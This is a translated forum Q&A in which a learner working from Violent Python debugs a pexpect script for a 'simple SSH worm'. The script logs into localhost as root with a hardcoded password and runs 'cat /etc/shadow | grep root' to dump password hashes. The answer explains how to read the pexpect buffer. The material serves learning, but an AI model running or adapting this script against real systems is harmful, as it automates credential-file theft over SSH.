Shelled root 似乎从 /etc/shadow | grep root 打印不正确

Shelled root 似乎从 /etc/shadow | grep root 打印不正确

我试图理解为什么我的脚本打印cat /etc/shadow | grep root为空字符串('')。即使我的脚本可以访问[email protected]...,也会发生这种情况。

我正在研究 Violent Python 并创建一个简单的 SSH 蠕虫。

当我运行上述命令时,我可以看到我的加密密码,既有 as[email protected]也有 with sudo。显然该命令有效。

我是不是漏掉了什么?我是不是漏掉了什么特殊情况?

脚本如下:

import pexpect

PROMPT = ['#', '>>>', '>', '\$']

def send_command(child, cmd):
    child.sendline(cmd)
    child.expect(PROMPT)
    print(child.before)

def connect(user, host, password):
    ssh_newkey = 'Are you sure you want to continue connecting'
    strcon = 'ssh ' + user + '@' + host
    child = pexpect.spawn(strcon)

    ret = child.expect([pexpect.TIMEOUT, ssh_newkey,\
                        '[P|p]assword:'])

    if ret == 0:
        print('[-] Error connecting')
        return

    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT,\
                            '[P|p]assword:'])
        if ret == 0:
            print('[-] Error Connecting...')
            return
        child.sendline(password)
        child.expect(PROMPT)
        return child

    child.sendline(password)
    child.expect(PROMPT)
    return child

def main():
    host = 'localhost'
    user = 'root'
    password = 'toor'
    child = connect(user, host, password)
    send_command(child, 'cat /etc/shadow | grep root')

if __name__ == '__main__':
    main()

答案1

好的,所以在这种情况下,似乎一切都归结为child.before印刷send_command

打印出该child对象后,我发现有几个键值对我应该抓取,其中一个 ( buffer) 保存了 的最后 100 个字符grep。这不是完整的加密密码,但至少是其中的一部分。

因此,如果您确实发现自己遇到了类似的问题,只需打印child并检查输出是什么!

相关内容